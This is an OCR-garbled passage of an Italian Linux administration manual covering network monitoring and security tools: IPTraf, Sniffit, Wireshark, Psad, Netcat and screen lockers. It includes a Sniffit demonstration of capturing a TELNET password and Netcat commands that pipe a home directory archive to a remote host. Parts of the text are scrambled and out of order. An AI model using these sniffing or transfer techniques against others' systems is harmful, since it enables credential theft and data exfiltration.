ARP from 0080adc8a981 to 0000b46507cb on et hO

Top --------- El apsed tine 0:01 ----c-----c-iccccmiccccacoiocccaicicecaas '
I P 6150 TCP: 3136 UDP: 3014 | CwvP: 0 Non-1P: 2
Up/ Dn/ PgUp/ Pghn-scrl actv win Wchg actv win Mmore TCP info X Qrl+XExit

Il monitor di traffico IP si compone di due finestre: una supei
per le connessioni TCP e una inferiore per gli altri tipi. Utelle
due finestre e quella attiva, che si distingue perché appaparb-
la‘Active’ sul bordo nella parte bassa, al lato destro. All'interno
della finestra attiva & possibile fare scorrere le informaizcon i
tasti [freccia- su] e [freccia giu]; per cambiare la finestra attiva ba-
sta utilizzare il tasto\], come suggerisce il promemoria che appa-
re nell'ultima riga dello schermo. Per uscire da questaifumalita
basta il tasto X], oppure la combinazionedtrl x].

Non € possibile conoscere quale sia la parte che ha origmatm-
nessione TCP, salvo intuirlo dalle convenzioni sull’'ustiedporte;
nella finestra relativa, le connessioni TCP vengono semmisrar
te con una coppia di voci: una per ogni direzione della cosinas
TCP.

I significato delle varie colonne di informazione che ajppai nella
finestra delle connessioni TCP dovrebbe essere abbastanitad,

a parte la colonn&l ags’, all'interno della quale possono essere an-
notate lettere e parole chiave differenti. Il significat@deste viene
descritto di seguito.

Simbolo Descrizione
L'ultimo pacchetto individuato € stato di
S tipo SYN, sincronizzazione, che si usa|in

preparazione di una connessione.
L'ultimo pacchetto individuato € stato di
A tipo ACK, che si usa per confermare |la
ricezione precedente di un pacchetto.
L'ultimo pacchetto individuato € stato di ti-
P po PSH,push che si usa per richiedere lo
spostamento dei dati all'inizio della coda

di ricezione. o .
L'ultimo pacchetto individuato é stato di {i-

U po URG, che si usa per rappresentare dati
urgenti.
La connessione e stata azzerata dal nodo di
origine della direzione a cui si riferisce.
La connessione ha terminato l'invio di dati
nella direzione a cui si riferisce e ha invia-

to il pacchetto FIN, ma non € ancora stata

confermata la conclusione dall’altro nod
Linvio precedente del pacchetto FIN

stato confermato dall’altra parte.

RESET

DONE

0

CLOSED

Se si verifica una presenza inusuale di pacchetti SYN, pttértsa|
di un tentativo di attacco, definitSYN flood che letteralmente
significa: «inondazione di pacchetti SYN».
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43.8.5 Sniffit

«
Sniffit?> & un programma per I'analisi del traffico di rete, che puo
essere usato per individuare le connessioni TCP in corgmyrep
per conservare una sorta di registro delle comunicazioveravte,
contenente le comunicazioni stesse.

Naturalmente, la lettura del contenuto dei pacchetti peéresuti-
le a livello didattico, oppure per individuare dei problemneil’u-
tilizzo della rete, mentre diventa una pratica illegale rgi@cio
sconfina nel diritto alla riservatezza delle persone.

La sintassi per I'avvio di Sniffit & quella seguente, tenecatato che
almeno un’opzione del primo gruppo € obbligatoria.

sniffit {vl -s nodc‘ -t nodci —i| Al
s | -C fiIe_di_configurazion} ... altre_opzioni

Segue la descrizione di alcune opzioni.

Opzione Descrizione
-V Mostra la versione e non fa altro.
Limitano l'osservazione, rispettivamente,
al nodo di origine e al nodo di destinazio-
-s nodo L . L
ne indicati. Queste opzioni riguardano $o-
_t nodo lo per il traffico TCP e UDP. Lindirizzo
se espresso in forma numerica, puo essere
parziale e completato con il simbol@.
-i . . . .
Attiva un funzionamento interattivo, dove
2 ‘-1 mostra pitl informazioni.
Consente di indicare un file contenente
-c file una serie di direttive, attraverso le quali si

stabilisce il comportamento di Sniffit.
Consente di specificare il nome dell'inter:
faccia di rete a cui fare riferimento.

- F interfaccia

-d . ) . )
Mostra i pacchetti sullo schermo, rispetti-
_a vamente in esadecimale e in ASCII
Consente di selezionare un tipo di proto-
-P{1F TcA UDF 1V} | collo, tra quelli indicati. Questa opzione &
incompatibile con-i’ o*-1".
Per quanto riguarda i protocolli TCP|e
-p n_porta UDP, consente di limitare I'attenzione [ai
pacchetti riferiti alla porta indicata.
Definisce la quantita massima di byte [da
-1 n_byte accumulare per ogni pacchetto. Il valore

zero serve a non porre limiti.

Qui viene mostrato soltanto il funzionamento interattigon I'op-
zione'- I ’, all'interno del quale € possibile anche inserirsi in uno de
flussi TCP per leggerne i dati:

# sniffit -1 -F ethO/[Invio]
In questo modo si ottiene il funzionamento interattivo,cfieando

espressamente l'interfaccia (in questo caso si trattzt @0’ . Quello
che si vede nella figura seguente € soltanto il traffico TARoatt
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Figura 43.91. Sniffit durante il funzionamento interattivon
I'opzione‘- 1.
==Sniffit 0.8.7 Bet@---------c-ommmm e
192.168.1.1 32796 -> 192.168.1.2 23 TELNET
192.168.1.2 23 -> 192.168.1.1 32796 TELNET

o=Sniffit 0.3.7 Bet@r-----ooom e
| Source IP DA Source PORT DAL |
| Destination IP: All Destination PORT: All |

Masks: Fl1-Source |P F2-Dest. IP F3-Source Port F4-Dest. Port

Nel riquadro delle connessioni TCP, appare un cursore, aoe ¢
possibile selezionare, all'interno di una connession®, dei due
flussi (andata o ritorno). Una volta collocato il cursorersam flus-
so di interesse, basta premehavjo] per ottenere una finestra in cui

appare il contenuto di quella comunicazione:
Figura 43.92. Intercettazione di una copia del flusso di dati

oSN it 0.3.7 Bet@n---mmmm e
192.168.1.1
192.168.1.2 23 ->

192.168. 1.2 23
192.168.1.1 32796

TELNET |
TELNET |

oo SNt 0.8.7 BEt@Ar---oommmmm e lolololoo.o.
| Source IP DAL Source PORT DAL |
| Destination IP: Al Destination PORT: All |

Masks: F1-Source |P F2-Dest. IP F3-Source Port F4-Dest. Port
Come si puo intuire dalla figura, in questo caso si intercitta
flusso dei dati trasmessi da un cliente TELNET, proprio nigla
se dell'autenticazione: l'utentai zi o’, con la parola d’ordine
‘baci 47°.%8

43.8.6 Wireshark

Wireshark’ € un programma per I'analisi del traffico di rete, fino
al livello due del modello ISO-OSI (collegamento dati) seendo a
riconoscere all'interno di questo una serie di protocolivelli su-
periori al livello tre e quattro; in particolare, individgarrettamente
molti protocolli collegati a IPv4 e IPv6.

Wireshark & pensato principalmente per accumulare il tffiter-
cettato, allo scopo di consentire un’analisi dettagliaguesto in un
momento successivo; nello stesso modo & predisposto pedlerec
a informazioni di questo genere accumulate da programneirsiiv
cosi come é in grado di esportare i propri dati in formatiratévi.

Wireshark consente anche una visualizzazione in tempe sl
traffico in corso, in modo analogo a quanto fa IPTraf, con feedi
renza che le informazioni fornite sono molto piu chiare. lresto
senso, si tratta di un programma ottimo come strumento tdidat
per lo studio delle reti.

Wireshark viene usato normalmente attraverso il sisteraficgr X
e deve funzionare con i privilegi dell’'utenteoot ’, per poter acce-
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dere direttamente all'interfaccia di rete da sondare.dgesbile da
avviare éwi reshark’:
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wi reshar k [ opzioni'

Qui si intende mostrare il funzionamento interattivo, sebaso di
opzioni nella riga di comando. Eventualmente si pud coasella
pagina di manualeireshark(1)

Figura 43.93. Wireshark avviato senza opzioni, rimane tiesat
prima di iniziare la sua analisi.

File Edit Capture Display Tools Help |
No. .[Time [Source [Destination [Protocol [info |
e
A
X T
"
'
Fiter || /] Resel] appiy[[Ready to load or capture

Una volta avviato I'eseguibiléwi r eshar k’, per ottenere un’ana-
lisi del traffico in tempo reale pud essere necessario clenteola
configurazione. Si trova la vodereferencesel menuEdit.

Figura 43.94. La finestra di configurazione di Wireshark per
guanto riguarda la selezione dei pacchetti catturati.

Printing Capture
Columns
TCP Streams
User Interface
Capture
Narme resolution
B Protocols

Interface:

—

Capture packets in promiscuous mode: |~

Update list of packets in real time: 1~

Automatic scrolling in live capture: 1~

OK | Apply | Save | Cancel |

La figura mostra in particolare la selezione della modalignp-
scua, con cui si intercettano tutti i pacchetti che I'intedia di rete
selezionata € in grado di osservare.

Una volta definita la configurazione e selezionata I'intecfa di rete
diinteresse, si puo passare alla cattura dei pacchetzisehndo la
voceStartdal menuCaptureSi ottiene una finestra da cui € possibile
aggiustare le opzioni relative alla cattura:
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Figura 43.95. La finestra che appare quando si chiede daneizi
la cattura dei pacchetti.

Capture
Interface:  [ethd A

_| Limit each packetto |6 ? hytes

~ Capture packets in promiscuous mode

Fec |
Capture file(s)
Fie] |
i Use ring buffer  Number of files l_—$
Display options

I~ Update list of packets in real time

- Automatic scrolling in live capture

Capture limits

_| Stop capture after |1 ? packet(s) captured
_| Stop capture after |1—§ kilobyte(s) captured

_| Stop capture after |1 3 second(s)

Name resolution
r~ Enable MAC name resolution

r~ Enable network name resolution

- Enable transport name resolution

OK | Cancel |

Durante la cattura dei pacchetti viene visualizzata urtsssta sul-
I'avanzamento di questo lavoro, dove appare un pulsanfiegiche
consente di fermare I'accumulo dei dati. Se in precedentai@ 13-
chiesta la visualizzazione in tempo reale delle informaizielative
alla cattura, anche il contenuto dei pacchetti viene vigzato nella
finestra principale del programma.

Figura 43.96. Statistiche visualizzate durante la catuea
pacchetti.

Total 80  (100.0%)
SCTP 0 (0.0%)
TCP 52 (65.0%)
UDP 10 (12.5%)
ICMP 0 (0.0%)
OSPF 0 (0.0%)
GRE 0 (0.0%)
NetBIOS 0  (0.0%)
IPX 0 (0.0%)
VINES 0 (0.0%)
Other 18 (22.5%)

| Stop

La finestra principale del programma si divide in tre partiguel-
la superiore appare I'elenco di pacchetti intercettati woa descri-
zione essenziale del loro contenuto; selezionando un pttoatella
parte superiore, in quella centrale appare un elenco atbalbeom-
ponenti del pacchetto stesso; selezionando una vocelesti@del
riquadro centrale, appare in quello inferiore I'evidemzénto della
porzione di pacchetto che lo riguarda. La figura seguentédrentzs
porzione IP di un pacchetto relativo a una comunicazioneNEL
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Figura 43.97. Porzione IP di un pacchetto relativo a una
comunicazione TELNET.

File Edit Capture Display Tools Help |
[no.. Jrime  [source [Destination Protocol_|Info A
51 115 771 mggen brot. dg dinkel brot.dg TCP 1025 > telnet [ACK] Seq=3854203109 Ack=3614

da ot ds t Data .
5 11527614 rossen-bret dinkel .brot..dg e 1025 > telnet. [ACK] Seq=3864203109 Ack=3614
54 115,274639 dikel.brot.dg roggen.brot.dg TELNET  Telnet lata ...
55 115,275234 roggen.brot.dg dirkel.brot.d3 TP 1025 > et (K] Soq S21EL08 k3614
56 115581118 dirkelbrot.dg roggen.brot.dg TELNET  Telnet Dat:
57 115,581917 roggen.brot.dg dinkel .brot.dg TP 1025 > telnet [ACK] Seqeag54203109 k=361
58 115,654587 dinkel.brot.dg roggen.brot.dg TELNET  Telnet Tata ...
59 115,655234 roggen.brot.dg dinkel brot..dg Tt 1025 > telnet [ACK] Seq=3854203109 Ack=3614

60 124,870001 £eB0::250:baff:fe7lsd FFO2::1 ICHPVE  Router advertisement
61 153,333857 feB0::250:baffife7ld FFO2:51 ICHPvE Router advertisement /

N T P

B Frane 62 (428 on wire, 428 captured) A
B Ethernet ”

1.2)
, Acks 3854203109, Ler

[
rotocel, Src Port:

B Transnission Control
Telnet

000 00 80 ad c8 a3 81 00 50

11 e £0 el 40 00 40 0B_c5 14 cO a8 01 01 c0 af
020 S 00 17 04 01 d7 BF fl Be 5 ba 78 e5 80 18
030 16 a0 02 a4 00 00 01 01 08 0a 00 Oc 01 94 00 00
040 9a 5f 4c 63 Be 75 78 20 64 63 e 6b 65 6c 20 32, _| dinkel 2
050 2e 34 2e 31 39 20 23 31 20 46 72 69 20 de 6f 76 .4.19 #1 Fri Nov
060 20 38 20 31 38 3a 33 31 3a 3334 20 434554 20 8 18:31 :34 CET
070 32 30 30 32 20 63 36 38 36 20 75 Be 6b Be 6f 77 2002 i68 6 unknow
080 Be 20 75 Be 6b Be 6f 77 Be 20 47 de 55 2f 4c 69 n unknow n GNU/Li
030 6e 75 78 0d Oa on 0a 4d BF 73 74 20 6f 66 20 74 nux....M ost of t
0a0 68 65 20 70 72 6f 67 72 61 6d 73 20 69 6e 63 6c  he progr ams incl
0b0 75 B4 65 64 20 77 69 74 68 20 74 68 65 20 44 65 uded wit h the De

ba 71 d3 c1 08 00 I lu

0c0 62 63 61 Be 20 47 4e 55 2f 4c 69 Be 75 78 20 73 bian GNU /Linux s /
Fitter [ /] Reset] Apply|fntemet Protoco ip)

Nella figura successiva, si analizzano i dati TCP dello stgss-
chetto, mostrando in particolare dove si colloca I'infomaae sulla
porta di destinazione:

Figura 43.98. Porta di destinazione TCP di un pacchetttivela
a una comunicazione TELNET.

File Edit Capture Display Tools ﬂe1p[

[no.. rime  [source [Destination [Protocol info A
1025 > telnet [ACK] Seq=3854203109 Ack=3614

771 roggen.brot.dg
e .dg

1025 > telnet[ﬂEK] Seq=3854203103 Ack=3614
TELNET  Telnet Data

54 115,274699 dirkel.brot.dg roggen.brot.dg

55 115,275234 roggen.brot.dg dirkel brot.dg TCP 1025 > telnet [ACK] Seq=385420310 Ack=3614
56 115581118 dinkel.brot.dg roggen,brot .dg TELNET  Telnet Data ..
57 115581317 roggen,brot.dg dinkel.brot.dg TP 1025 > telnet. [ACK] Seq=3854203103 Ack=3614
58 115,654587 dinkel.brot.dg roggen.brot.dg TELNET  Telnet Data ...
53 115,655234 roggen.brot..dg dinkel.brot.dg TP 1025 > telnet [ACK] Seq=3854203109 Ack=3614
60 124,870001 feB0::250:baffsfe7isd FFO2::1 ICHPUE  Router advertisement
61 153,333857 fe80: affife7isd FFO2::1 ICHPUE  Router advertisenent /
K T —~
=
TCEr MM ITOCoTS T e Ao OTTReTor TS ST RO TUggeN O U 9T IO T Y
B Transmission Contral Protocal, Src Ports telnet (23), Det Port: 1025 (1025), Seq: 3614437742, Ack: 384203109, Ler
Source port: telnet (23) _|

Sequence number: 3516437742
Next sequence number: 3614438104
Acknouledgenent nunber: 3854203109

~

00 80 ad cB a3 81 00 50 ba 71 d9 c1 08 00 45 10
01 9e £0 el 40 00 40 0B c5 14 0 a8 01 01 c0 a8
01 02 00 17 d7 6f 1 Be e5 ba 78 5 80 18
16 a0 02 a4 00 00 01 01 08 0a 00 Oc 01 94 00 00
9a 5f 4c B9 Be 75 78 20 B4 63 6e 6b 65 b 20 32
2e 3423133202331 2046726320 4e 6F 76 ,4,13 #1 Fri Nov
20 38 20 31 38 32 33 31 3a 3334 20 434554 20 8 18:31 ;34 CET
3230 30 32 20 69 36 38 36 20 75 6e 6b 6e 6f 77 2002 168 6 unknow
Be 20 75 Be Bb Be 6f 77 e 20 47 4e 55 2f 4c 69  n unknow n GNU/Li
Be 75 78 0d 0a 0d 0a 4d 6f 73 74 20 6f 66 20 74  nux....M ost of t
68 65 20 70 72 Bf 67 72 61 6d 73 20 63 6e 63 bc  he progr ams incl
75 64 65 64 20 77 63 74 68 20 74 68 65 20 44 65 uded wit h the De
62 69 61 Be 20 47 de 55 2f 4c 63 Be 75 78 20 73 bian GNU /Linux s V|

Fitter][ /] Reset] Appiy[Pesination Port (cp.dstpor
43.8.7 IPlogger

| I |

«
IPloggef® € un pacchetto di programmi contenente alcuni demo-
ni che si occupano di annotare le connessioni all'interriorelg-
stro del sistema. Allo stato attuale si tratta soldtdipl og’ e di
‘i cnpl og’, in grado rispettivamente di annotare le connessioni TCP
e l'utilizzo del protocollo ICMP. Non & niente di eccezionafea
qualcosa di utile nel caso non si abbiano strumenti migliori

Non c’e molto da aggiungere sull'utilizzo di questi due demno
basta fare in modo che la procedura di inizializzazione té-s
ma provveda ad avviarli e loro si arrangiano. Non occorrerec
configurazione.

E probabile che questo pacchetto abbia uno sviluppo futuro,
aggiungendo varie forme di identificazione di attacchi.noti

43.8.8 Psad

«
Psac?®’ ovvero Port scan attack detectog un sistema di controllo
che si basa sull'analisi di una porzione del registro diesist, alla
ricerca di annotazioni fatte dalla gestione del filtro desqreetti dei
kernel Linux 2.4% e 2.6%.
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In pratica, si comincia dalla definizione di regole di filtreid
pacchetti con Iptables (seziork.5, a cui si aggiungono delle
istruzioni per annotare il traffico che non si desidera:

volume | Sistemi GNU/Linux

iptables -t filter -A posizione[ altrefopzion] -
s -j LOG --log-prefix " DROP"

Generalmente, se si utilizza una politica predefinita dniglazio-

ne dei pacchetti, si inseriscono regole che abilitano sspraente
il passaggio di cio che si desidera lasciare circolare. Estpumo-
do é sufficiente mettere alla fine le istruzioni con cui siiede di

annotare il traffico rimanente, che di conseguenza non élelesi
to. Supponendo che venga controllato il traffico in ingresspel-

lo in attraversamento, si possono aggiungere in coda lezisti

seguenti:

iptables -t filter -AINPUT -j LOG--log-prefix " DROP" ‘

iptables -t filter -A FORWARD -j LOG --1og-prefix " DROP" ‘
Per utilizzare Psad & necessario, a questo punto, inteeveei fi-
le ‘/ etc/ sysl og. conf’, in modo da dirigere i messaggi di ti-
po ‘kern.info' in un file FIFO @ipe con nome):/ var/run/
psadfifo’.

[kern.info | /var/run/ psadfifo ‘

Se Psad e stato installato a partire da un pacchetto giagopent

la propria distribuzione GNU/Linux, dovrebbe essere mésdon-
zione in modo automatico, per opera della procedura dialzzi
zazione del sistema; diversamente puo essere avviatglidsie
‘psad’, con I'aggiunta eventuale di qualche opzione per indicare a
programma la collocazione dei file di configurazione.

| file di configurazione dovrebbero trovarsi nella directorgt c/
psad/ ' e il pit importante da prendere in considerazionget c/
psad/ psad. conf’. In questo file di configurazione vengono spe-
cificate in particolare le collocazioni dei file utilizzatad®sad per
annotare le informazioni ottenute a proposito degli ada#fastati

dal sistema di filtro dei pacchetti, file che dovrebbero treivael-

la directory‘/ var /| og/ psad/’ in condizioni normali. In genera-
le, nel file di configurazioné et c/ psad/ psad. conf’ pud essere
utile specificare un indirizzo di posta elettronica a cui dame gli
avvertimenti generati da Psad, con la direttiva seguente:

### Supports nultiple email addresses.
EMAI L_ADDRESSES (root @ocal host);
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Message- | d: <E19Au3y- 0000Hc- 00@li nkel . br ot . dg>
From root <root @i nkel.brot.dg>
Date: Wed, 30 Apr 2003 18:04:06 +0200

psad: portscan detected against dinkel (192.168.1.1).

192.168.1.1

Destinati on: 192.168.1.1

Newl y scanned TCP ports: [ 33032- 33052] (since: Apr 30 18:04:03)
Newl y Bl ocked TCP packets: [1365] (since: Apr 30 18:04:03)

TCP fl ags: [ACK RST: 1364 packets]

Sour ce:

TCP fl ags: [RST: 1 packets]

Conpl ete TCP/ UDP port range: [33032-33052] (since: Apr 30 18:04:03)
Total blocked packets: 1365

Start tinme: Apr 30 18:04:03

End tine: Apr 30 18:04:06
Danger |evel: 3 out of 5
DNS i nfo: 192.168.1.1 -> dinkel.brot.dg

- Wois Information: ----

43.8.9 Netcat

«
Netcat® & un programma creato allo scopo di leggere e scrivere da-
ti attraverso delle connessioni di rete TCP o UDP. Si traittand
strumento generico, vagamente simile a un cliente TELNBla
differenza che puo funzionare anche con il protocollo UD&pb-
tenzialita di questo programma sono notevoli, ma qui vengon-
strate solo alcune delle sue caratteristiche; per il regiocsleggere
la sua documentazione.

Netcat puo funzionare, quasi indifferentemente, comeneie ser-
vente di una connessione; per questo &€ uno strumento citipeal
la verifica del funzionamento delle connessioni di rete e sain.
In un certo senso, I'eseguibilec’, ovvero cid che costituisce Net-
cat, e paragonabile idealmente al programdag, con la differenza
che invece di fare riferimento a dei dispositivi, si lavoomda rete a
livello di trasporto TCP e UDP: il quarto nel modello ISO-OSI

L’eseguibile‘nc’ & tutto cio che compone Netcat. Questo program-
ma instaura una connessione, in qualita di cliente o di segyeiti-
lizzando il protocollo TCP oppure UDP, trasmettendo cio ctiie-

ne dallo standard input e restituendo attraverso lo standatput
cio che riceve dall’altro capo.

Teoricamente, Psad potrebbe essere in grado di riprogreenima
regole relative al filtro dei pacchetti (attraverso Iptaplena questo
forse & meglio evitarlo, a meno di conoscere perfettamérgeoi
funzionamento:

### |f "Y', enable automated | DS response (auto manages

### firewal | rul esets).

ENABLE_AUTO | DS N

### Enabl e iptables blocking (only gets enabled if ENABLE_AUTO IDS is al so set)
| PTABLES_BLOCK_METHOD Y

### Enabl e ipchains bl ocking (only gets enabled i f ENABLE_AUTO IDS is al so set)
| PCHAI NS_BLOCK_METHOD N

### Enabl e tcp wappers bl ocking

TCPWRAPPERS_BLOCK_METHOD  Y;

Se si mette in funzione Psad quando la gestione del filtro a@ei p
chetti non include una regola che produce annotazioni et
registro di sistema, viene generato un messaggio di anvento,
inviato all'indirizzo di posta elettronica previsto peregio gene-
re di informazioni. A ogni modo, si puo verificare facilmerge
Psad e in grado di svolgere il suo lavoro correttamente, g
una scansione con Nmap (seziat&?):

$ nmap indirizzo_ip[ Invio]

E molto probabile, in base alla configurazione standarderari
nel file ‘/ et c/ sysl og. conf’, che si vedano apparire le segnala-
zioni generate dal filtro dei pacchetti anche sulla constiieaa Se
la scansione viene intercettata, ovvero, se il sistematd flei pac-
chetti intercetta la scansione, si dovrebbe ottenere cuésio un

messaggio di posta elettronica, simile a quello seguente:

To: root @ocal host
Subj ect: psad WARNING dinkel (192.168.1.1) has been scanned!

nc [opzion] nodo porta

nc -1 -p porta [ nodo [ porta]]

L'uso di Netcat differisce fondamentalmente a secondaattd the
si voglia raggiungere un servizio in ascolto presso un nadana
porta determinata, oppure che siintenda avviarlo pernestascol-
to in attesa di una richiesta di connessione. Nel secondnsiasa
I'opzione‘- 1’ (Listen.

Il funzionamento di questo programma si comprende megtia-at
verso degli esempi, ma per il momento viene mostrato il ficatd
di alcune opzioni.
Opzione

Descrizione

-4 Forza I'utilizzo di IPv4.

-6 Forza I'utilizzo di IPv6.

Fa in modo che Netcat venga avviato
- per restare in ascolto di una certa parta
(specificata attraverso I'opzionep’).
Permette di specificare Ta porta a cui Net-

cat deve prestare ascolto. Si usa assieme
all'opzione'- 1.
Fa in modo che si eviti di tentare d
risolvere gli indirizzi IP in nomi a dominio.

-p porta
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Opzione Descrizione
Definisce esplicitamente l'indirizzo IP 19-
cale. Perché cio possa essere fatto, oc-
-s indirizzo_ip_locale corre che questo indirizzo sia abbina-
to effettivamente a un’interfaccia di rete,

eventualmente anche solo come alias.
Utilizza il protocollo UDP. Senza questa

-u opzione, viene usato il protocollo TCP in
modo predefinito.

L’esempio seguente, serve a instaurare una connessionedrOP
servente SMTRIinkel.brot.dg

$ nc dinkel.brot.dg sntp[Invio]

Un uso interessante di Netcat € quello con il quale si ottienga-
sferimento dati senza bisogno di una shell remota{ per esem-
pio). Per questo, da una parte occorre avviare I'esegibdein
ascolto di una certa porta TCP, mentre dall’altra si utdisempre
‘nc’ in modo che cerchi di contattare quella porta di quel nodo. Il
canale che si crea puo essere sfruttato per questo scopo.

®*$ nc -1 -p 1234 | tar xzpvf - [Invio]

In questo modo, Netcat viene avviato in ascolto della po2@4]

che si presume sia libera. Il suo standard output viene fmzrasa

‘t ar’ che deve occuparsi di estrarne il contenuto nella directory
corrente. In pratica, si presume che Netcat debba ricewata d
porta 1234 un file corrispondente a un archivio tar+gzip e che
questo debba essere riprodotto localmente.

®$ tar czf - /honme/tizio | nc dinkel.brot.dg 1234 [Invio]

Questo comando € la controparte dell’esempio mostratogprim
viene archiviata la directory hone/ ti zi o/’ e passata all'ese-
guibile ‘nc’ attraverso un condotto. Evidentemend@kel.brot.

dg ¢ il nodo allinterno del quale deve essere riprodotta tale
directory.

Netcat puo essere usato per ridirigere una connessione &P,
esempio attraverso un firewall. Gli esempi seguenti siisé@no a
Inetd, pertanto si tratta di direttive del fileet ¢/ i net d. conf .

\ wWww stream tcp nowait nobody /usr/sbin/tcpd /usr/bin/nc roggen.brot.dg 80

In questo caso, le richieste TCP per la poviaw (ovvero 80), sono
ridirette attraverso Netcat verso il nodoggen.brot.daglla stessa
porta.

\ www stream tcp nowait nobody /usr/sbin/tcpd /usr/bin/nc roggen. brot.dg 1234

Questa € solo una piccola variante dell’esempio precedientai si
presume che il vero servente HTTP si trovi sempre nel moggen.
brot.dg ma sia in ascolto della porta 1234.

43.9 Protezione della sessione di lavoro

Se quello che si utilizza & un terminale seriale, o un terlairemo-
to, la cosa migliore da fare per proteggere il proprio lavorentre
ci si allontana dalla postazione & quello di chiudere laisesdi la-
voro. Se si avviano dei processi sullo sfondo e bene pregeden-
ticipo questo fatto, avviandoli attraversmhup’ (sezionel0.10.3,
oppure si puo utilizzare Screen (sezid#e13.

Se si utilizza una console, dal momento che & molto probabéesi

stiano utilizzando diverse console virtuali simultaneategquesto
tipo di soluzione potrebbe essere un po’ troppo complidatquesti

casi si preferisce usare un programma apposito che blaaoeekso
a tutte le console virtuali.

La protezione del lavoro su una stazione grafica puo essgagria
modo simile a quello che riguarda la console, attraversgraromi
che la bloccano, eventualmente attivando un salva-schéfutta-
via, esiste un problema in piu: per evitare che sia possibth-
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rompere il funzionamento del servente grafico attraversmiabi-

nazione [Ctrl Alt Backspacg occorre la direttivaDont Zap®’ nella
sezion€Ser ver Fl ags’:

[ Section "serverFlags"
Opti on Dont Zap
# Option Dont Zoom
EndSect i on

43.9.1 Utilizzo di «vlock»

«
Il programma‘vl ock’3* blocca la console virtuale del sistema
GNU/Linux in cui viene avviato, a meno che sia utilizzatgpboo-
ne‘-a’, con la quale vengono bloccate anche tutte le altre console
virtuali.

vl ock [ opzion]

Il funzionamento di‘vl ock’ pud essere concluso anche con
I'inserimento della parola d’ordine dell’'utenteoot '.

43.9.2 Utilizzo di «xlock»

«
Il programma‘x! ock’32 & il piu comune per il blocco di una sta-
zione grafica X. Sono disponibili una grande quantita di opgzi
in particolare'- node’ prevede un elenco molto lungo di argomen-
ti composti da una sola parola chiave che serve a defininpaldi
effetto grafico da utilizzare come salva-schermo.

xl ock [ opzion]

In condizioni normali, se non si usano opzioni che vanno im se
so contrario, basta premere un tasto qualunque per intpe@nil
salva-schermo; quindi, con l'inserimento della parolardioe del-
I'utente che lo ha avviato, si pud concludere il funzionatoea
‘xl ock’.

A titolo di esempio viene mostrato il caso di un salva-sctenero:

$ xl ock -node bl ank [Invio]

Nel caso non si utilizzasse alcuna opzione, si otterrebbeffetto
grafico salva-schermo, scelto casualmente tra quelli dispb

43.9.3 Utilizzo di «xtrlock»

«
Il programma‘xt r | ock’*® non prevede alcun argomento e il suo
scopo e solo quello di bloccare I'uso della tastiera e delsapsenza
attivare alcun salva-schermo.

xtrlock

Lo sblocco della stazione grafica si ottiene soltanto digitela pa-
rola d’ordine dell’'utente (senza alcun campo di inserimgnton-
cludendo con la pressione dinfio]. Se la parola d’ordine inserita
€ errata, viene emesso un segnale acustico e quindi si povaie
I'inserimento.
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versity of Technology (the Netherlands, Europdp:/ftp.
porcupine.org/pub/security/

» Dazukaq http://www.dazuko.org

* Axel Boldt, Bliss, a Linux "virus, http://math-www.uni-
paderborn.de/~axel/bliss/

» Dansguardian http://dansguardian.org/?page=extrasttp://
dansguardian.org/downloads/tp-ident2.patch
1 L'idea e tratta ddmproving the security of your site by breaking
into it, di Dan Farmer e Wietse Venema.

2 Per accedere a una sessione grafica da una postazione rémota
usa preferibilmente VNC attraverso un tunnel cifrato, canpuo
leggere nella sezior28.13

3 Secondo una vecchia tradizione non si regalano spillei@gljetti
appuntiti con cui ci si puo ferire.

4 Esiste anche software proprietario che viene messo a dispos
in forma sorgente.

5 Teoricamente i file HTML possono incorporare anche molti altr
tipi di script, purché il navigatore sia poi in grado di imestarli.

6 Dazuko GNU GPL 0 BSD

"Clamav GNU GPL

8ldent2 GNU GPL

9 TCP wrapper software libero con licenza speciale
0 TCP wrapper software libero con licenza speciale
11 TCP wrapper software libero con licenza speciale
12TCP wrapper software libero con licenza speciale
13 GNU core utilities GNU GPL

14 Fakeroot GNU GPL

15 fakechroot GNU GPL

8 AIDE GNU GPL

17Queso GNU GPL

18 Raccess GNU GPL

¥Nmap GNU GPL

20 pet-tools GNU GPL

21 psmisc GNU GPL

22 Fuser utilizza in pratica le informazioni contenute neli@ctory
‘I proc/’.

23 Tcpdump  software libero con licenza speciale
24|PTraf GNU GPL

25 Sniffit  software libero con licenza speciale

26 Questo esempio viene mostrato proprio per far comprendere
quanto vulnerabile sia un terminale remoto che non utilimza
comunicazione cifrata.

27 Wireshark GNU GPL
28|Plogger GNU GPL
2psad GNU GPL

30 Netcat GNU GPL
31Vlock GNU GPL

32Xlock software libero sottoposto a diverse licenze a seconda dell
porzione di codice coinvolto

33 Xtrlock GNU GPL



